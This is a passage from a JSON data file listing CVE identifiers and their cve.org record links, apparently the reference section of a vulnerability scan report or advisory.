      "url": "https://www.cve.org/CVERecord?id=CVE-2025-49794"
    },
    {
      "name": "CVE-2024-57970",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-57970"
    },
    {
      "name": "CVE-2026-77421",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77421"
    },
    {
      "name": "CVE-2026-6429",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
    },
    {
      "name": "CVE-2026-5419",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5419"
    },
    {
      "name": "CVE-2025-61731",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
    },
    {
      "name": "CVE-2026-4426",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4426"
    },
    {
      "name": "CVE-2026-77756",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
    },
    {
      "name": "CVE-2026-45536",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45536"
    },
    {
      "name": "CVE-2025-3000",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3000"
    },
    {
      "name": "CVE-2026-14739",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
    },
    {
      "name": "CVE-2023-36632",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-36632"
    },
    {
      "name": "CVE-2026-112061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112061"
    },
    {
      "name": "CVE-2026-93573",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
    },
    {
      "name": "CVE-2026-58015",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
    },
    {
      "name": "CVE-2026-39824",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
    },
    {
      "name": "CVE-2026-56131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56131"
    },
    {
      "name": "CVE-2026-88041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88041"
    },
    {
      "name": "CVE-2025-66863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66863"
    },
    {
      "name": "CVE-2026-96405",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96405"
    },
    {
      "name": "CVE-2026-96644",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
    },
    {
      "name": "CVE-2026-27137",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
    },
    {
      "name": "CVE-2026-27143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
    },
    {
      "name": "CVE-2024-56171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-56171"
    },
    {
      "name": "CVE-2026-12484",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12484"
    },
    {
      "name": "CVE-2026-85363",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85363"
    },
    {
      "name": "CVE-2026-8674",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8674"
    },
    {
      "name": "CVE-2026-54911",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54911"
    },
    {
      "name": "CVE-2026-85732",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85732"
    },
    {
      "name": "CVE-2026-46600",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
    },
    {
      "name": "CVE-2026-96637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
    },
    {
      "name": "CVE-2026-112896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
    },
    {
      "name": "CVE-2026-45445",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
    },
    {
      "name": "CVE-2026-29111",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29111"
    },
    {
      "name": "CVE-2026-112900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
    },
    {
      "name": "CVE-2026-68525",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
    },
    {
      "name": "CVE-2025-13837",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13837"
    },
    {
      "name": "CVE-2026-70453",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70453"
    },
    {
      "name": "CVE-2026-59901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
    },
    {
      "name": "CVE-2026-47262",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47262"
    },
    {
      "name": "CVE-2026-18508",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
    },
    {
      "name": "CVE-2026-18040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18040"
    },
    {
      "name": "CVE-2026-33747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33747"
    },
    {
      "name": "CVE-2025-71408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-71408"
    },
    {
      "name": "CVE-2025-15649",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
    },
    {
      "name": "CVE-2026-3731",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3731"
    },
    {
      "name": "CVE-2026-84233",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84233"
    },
    {
      "name": "CVE-2026-39832",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
    },
    {
      "name": "CVE-2026-118370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-118370"
    },
    {
      "name": "CVE-2026-35469",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
    },
    {
      "name": "CVE-2026-112902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
    },
    {
      "name": "CVE-2026-73500",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73500"
    },
    {
      "name": "CVE-2026-9698",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
    },
    {
      "name": "CVE-2026-19548",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19548"
    },
    {
      "name": "CVE-2026-41257",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41257"
    },
    {
      "name": "CVE-2026-81725",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81725"
    },
    {
      "name": "CVE-2026-42015",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
    },
    {
      "name": "CVE-2026-112909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112909"
    },
    {
      "name": "CVE-2026-39829",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
    },
    {
      "name": "CVE-2026-112397",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
    },
    {
      "name": "CVE-2026-68498",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68498"
    },
    {
      "name": "CVE-2025-69652",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69652"
    },
    {
      "name": "CVE-2026-66046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66046"
    },
    {
      "name": "CVE-2026-53795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53795"
    },
    {
      "name": "CVE-2026-41178",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41178"
    },
    {
      "name": "CVE-2026-112394",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
    },
    {
      "name": "CVE-2024-8176",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8176"
    },
    {
      "name": "CVE-2026-56392",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
    },
    {
      "name": "CVE-2026-65637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
    },
    {
      "name": "CVE-2026-8376",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8376"
    },
    {
      "name": "CVE-2026-50163",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
    },
    {
      "name": "CVE-2025-9905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9905"
    },
    {
      "name": "CVE-2026-119377",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119377"
    },
    {
      "name": "CVE-2026-86411",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86411"
    },
    {
      "name": "CVE-2025-15367",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
    },
    {
      "name": "CVE-2026-58014",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
    },
    {
      "name": "CVE-2026-54516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
    },
    {
      "name": "CVE-2026-3442",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3442"
    },
    {
      "name": "CVE-2026-86142",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86142"
    },
    {
      "name": "CVE-2026-13595",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
    },
    {
      "name": "CVE-2026-6357",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
    },
    {
      "name": "CVE-2026-103995",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-103995"
    },
    {
      "name": "CVE-2026-85999",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85999"
    },
    {
      "name": "CVE-2026-56410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56410"
    },
    {
      "name": "CVE-2026-71885",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71885"
    },
    {
      "name": "CVE-2026-48044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48044"
    },
    {
      "name": "CVE-2025-15467",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
    },
    {
      "name": "CVE-2026-90803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90803"
    },
    {
      "name": "CVE-2025-9820",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
    },
    {
      "name": "CVE-2026-19546",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19546"
    },
    {
      "name": "CVE-2026-2006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
    },
    {
      "name": "CVE-2026-54515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
    },
    {
      "name": "CVE-2025-1180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1180"
    },
    {
      "name": "CVE-2025-4373",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4373"
    },
    {
      "name": "CVE-2026-13757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
    },
    {
      "name": "CVE-2025-4598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
    },
    {
      "name": "CVE-2025-27144",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27144"
    },
    {
      "name": "CVE-2026-95519",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95519"
    },
    {
      "name": "CVE-2026-6637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
    },
    {
      "name": "CVE-2026-74048",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74048"
    },
    {
      "name": "CVE-2026-55798",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
    },
    {
      "name": "CVE-2026-94444",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94444"
    },
    {
      "name": "CVE-2026-73283",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73283"
    },
    {
      "name": "CVE-2026-55717",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55717"
    },
    {
      "name": "CVE-2026-19953",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19953"
    },
    {
      "name": "CVE-2026-108106",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-108106"
    },
    {
      "name": "CVE-2026-26330",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26330"
    },
    {
      "name": "CVE-2026-15308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
    },
    {
      "name": "CVE-2026-27145",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
    },
    {
      "name": "CVE-2024-35255",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
    },
    {
      "name": "CVE-2024-24557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-24557"
    },
    {
      "name": "CVE-2026-41080",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41080"
    },
    {
      "name": "CVE-2026-112400",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
    },
    {
      "name": "CVE-2026-14668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
    },
    {
      "name": "CVE-2026-68497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
    },
    {
      "name": "CVE-2025-55198",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-55198"
    },
    {
      "name": "CVE-2021-46195",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46195"
    },
    {
      "name": "CVE-2026-84243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84243"
    },
    {
      "name": "CVE-2025-21613",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-21613"
    },
    {
      "name": "CVE-2023-29491",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-29491"
    },
    {
      "name": "CVE-2026-101356",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101356"
    },
    {
      "name": "CVE-2026-32778",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32778"
    },
    {
      "name": "CVE-2026-5121",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5121"
    },
    {
      "name": "CVE-2026-39834",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
    },
    {
      "name": "CVE-2025-1182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1182"
    },
    {
      "name": "CVE-2026-63073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
    },
    {
      "name": "CVE-2026-16241",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
    },
    {
      "name": "CVE-2026-57914",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57914"
    },
    {
      "name": "CVE-2026-65901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
    },
    {
      "name": "CVE-2022-40897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
    },
    {
      "name": "CVE-2026-46595",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
    },
    {
      "name": "CVE-2026-1485",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1485"
    },
    {
      "name": "CVE-2025-5372",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5372"
    },
    {
      "name": "CVE-2026-9335",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9335"
    },
    {
      "name": "CVE-2026-119372",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119372"
    },
    {
      "name": "CVE-2026-88648",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88648"
    },
    {
      "name": "CVE-2026-96639",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
    },
    {
      "name": "CVE-2026-112395",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
    },
    {
      "name": "CVE-2026-79921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79921"
    },
    {
      "name": "CVE-2026-6473",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
    },
    {
      "name": "CVE-2026-93569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93569"
    },
    {
      "name": "CVE-2026-64607",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
    },
    {
      "name": "CVE-2026-33236",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
    },
    {
      "name": "CVE-2026-87864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87864"
    },
    {
      "name": "CVE-2026-93564",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93564"
    },
    {
      "name": "CVE-2026-104874",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-104874"
    },
    {
      "name": "CVE-2026-93574",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93574"
    },
    {
      "name": "CVE-2026-72818",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-72818"
    },
    {
      "name": "CVE-2026-2005",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
    },
    {
      "name": "CVE-2025-64329",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
    },
    {
      "name": "CVE-2026-71497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
    },
    {
      "name": "CVE-2026-90804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90804"
    },
    {
      "name": "CVE-2026-41992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
    },
    {
      "name": "CVE-2026-92392",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
    },
    {
      "name": "CVE-2025-1152",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1152"
    },
    {
      "name": "CVE-2026-24051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
    },
    {
      "name": "CVE-2026-90829",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90829"
    },
    {
      "name": "CVE-2025-11082",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11082"
    },
    {
      "name": "CVE-2026-55443",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
    },
    {
      "name": "CVE-2026-65900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
    },
    {
      "name": "CVE-2026-66010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
    },
    {
      "name": "CVE-2026-53802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53802"
    },
    {
      "name": "CVE-2025-48060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48060"
    },
    {
      "name": "CVE-2026-7383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
    },
    {
      "name": "CVE-2026-70458",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70458"
    },
    {
      "name": "CVE-2026-39825",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
    },
    {
      "name": "CVE-2026-39821",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
    },
    {
      "name": "CVE-2024-6104",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6104"
    },
    {
      "name": "CVE-2026-44825",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44825"
    },
    {
      "name": "CVE-2026-45674",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
    },
    {
      "name": "CVE-2026-55831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
    },
    {
      "name": "CVE-2026-33846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
    },
    {
      "name": "CVE-2025-14512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
    },
    {
      "name": "CVE-2026-9669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9669"
    },
    {
      "name": "CVE-2026-44690",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44690"
    },
    {
      "name": "CVE-2026-1502",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1502"
    },
    {
      "name": "CVE-2026-27144",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
    },
    {
      "name": "CVE-2026-4360",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
    },
    {
      "name": "CVE-2026-80230",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
    },
    {
      "name": "CVE-2026-48743",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48743"
    },
    {
      "name": "CVE-2025-1149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1149"
    },
    {
      "name": "CVE-2026-59949",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59949"
    },
    {
      "name": "CVE-2025-4877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4877"
    },
    {
      "name": "CVE-2026-58012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
    },
    {
      "name": "CVE-2026-56865",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
    },
    {
      "name": "CVE-2026-59881",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59881"
    },
    {
      "name": "CVE-2021-3393",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-3393"
    },
    {
      "name": "CVE-2026-19534",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
    },
    {
      "name": "CVE-2026-22795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
    },
    {
      "name": "CVE-2026-32283",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
    },
    {
      "name": "CVE-2026-0988",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0988"
    },
    {
      "name": "CVE-2025-61727",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
    },
    {
      "name": "CVE-2026-86413",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
    },
    {
      "name": "CVE-2026-26311",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
    },
    {
      "name": "CVE-2026-11822",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
    },
    {
      "name": "CVE-2026-70626",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70626"
    },
    {
      "name": "CVE-2026-42014",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42014"
    },
    {
      "name": "CVE-2026-59890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
    },
    {
      "name": "CVE-2025-27613",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27613"
    },
    {
      "name": "CVE-2026-82717",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82717"
    },
    {
      "name": "CVE-2026-0799",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0799"
    },
    {
      "name": "CVE-2025-6297",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6297"
    },
    {
      "name": "CVE-2026-63311",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63311"
    },
    {
      "name": "CVE-2026-113602",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-113602"
    },
    {
      "name": "CVE-2026-79675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79675"
    },
    {
      "name": "CVE-2026-77422",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77422"
    },
    {
      "name": "CVE-2026-11850",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11850"
    },
    {
      "name": "CVE-2024-28180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-28180"
    },
    {
      "name": "CVE-2025-65637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-65637"
    },
    {
      "name": "CVE-2026-45409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
    },
    {
      "name": "CVE-2026-27136",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27136"
    },
    {
      "name": "CVE-2026-93576",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93576"
    },
    {
      "name": "CVE-2026-14164",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
    },
    {
      "name": "CVE-2026-0861",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0861"
    },
    {
      "name": "CVE-2026-14456",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
    },
    {
      "name": "CVE-2026-119374",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119374"
    },
    {
      "name": "CVE-2026-56860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
    },
    {
      "name": "CVE-2026-25542",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25542"
    },
    {
      "name": "CVE-2026-47774",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47774"
    },
    {
      "name": "CVE-2026-80274",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80274"
    },
    {
      "name": "CVE-2026-6368",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
    },
    {
      "name": "CVE-2026-1703",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
    },
    {
      "name": "CVE-2026-61801",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-61801"
    },
    {
      "name": "CVE-2026-25645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
    },
    {
      "name": "CVE-2026-49265",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49265"
    },
    {
      "name": "CVE-2026-112390",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
    },
    {
      "name": "CVE-2026-21860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
    },
    {
      "name": "CVE-2026-14457",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
    },
    {
      "name": "CVE-2025-13281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13281"
    },
    {
      "name": "CVE-2026-15534",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
    },
    {
      "name": "CVE-2026-49458",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
    },
    {
      "name": "CVE-2026-71513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71513"
    },
    {
      "name": "CVE-2026-78410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78410"
    },
    {
      "name": "CVE-2026-10536",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10536"
    },
    {
      "name": "CVE-2026-97399",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97399"
    },
    {
      "name": "CVE-2026-80047",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80047"
    },
    {
      "name": "CVE-2026-79674",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79674"
    },
    {
      "name": "CVE-2026-3479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3479"
    },
    {
      "name": "CVE-2026-12261",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12261"
    },
    {
      "name": "CVE-2026-53784",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53784"
    },
    {
      "name": "CVE-2026-0847",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0847"
    },
    {
      "name": "CVE-2026-44249",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
    },
    {
      "name": "CVE-2026-41991",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
    },
    {
      "name": "CVE-2026-96640",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
    },
    {
      "name": "CVE-2026-77860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77860"
    },
    {
      "name": "CVE-2026-8932",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8932"
    },
    {
      "name": "CVE-2026-39883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
    },
    {
      "name": "CVE-2026-91780",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91780"
    },
    {
      "name": "CVE-2025-5915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5915"
    },
    {
      "name": "CVE-2026-4424",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4424"
    },
    {
      "name": "CVE-2026-76825",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76825"
    },
    {
      "name": "CVE-2025-5917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5917"
    },
    {
      "name": "CVE-2026-95818",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95818"
    },
    {
      "name": "CVE-2026-6879",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
    },
    {
      "name": "CVE-2026-45186",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45186"
    },
    {
      "name": "CVE-2026-96231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96231"
    },
    {
      "name": "CVE-2026-48978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
    },
    {
      "name": "CVE-2024-51744",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
    },
    {
      "name": "CVE-2026-78681",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78681"
    },
    {
      "name": "CVE-2026-77412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77412"
    },
    {
      "name": "CVE-2026-93561",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93561"
    },
    {
      "name": "CVE-2026-32281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
    },
    {
      "name": "CVE-2026-75596",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
    },
    {
      "name": "CVE-2026-12074",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12074"
    },
    {
      "name": "CVE-2026-45571",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45571"
    },
    {
      "name": "CVE-2026-107929",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
    },
    {
      "name": "CVE-2026-8763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
    },
    {
      "name": "CVE-2026-1839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1839"
    },
    {
      "name": "CVE-2026-12876",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12876"
    },
    {
      "name": "CVE-2026-27142",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
    },
    {
      "name": "CVE-2026-75140",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75140"
    },
    {
      "name": "CVE-2026-90801",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90801"
    },
    {
      "name": "CVE-2026-18408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
    },
    {
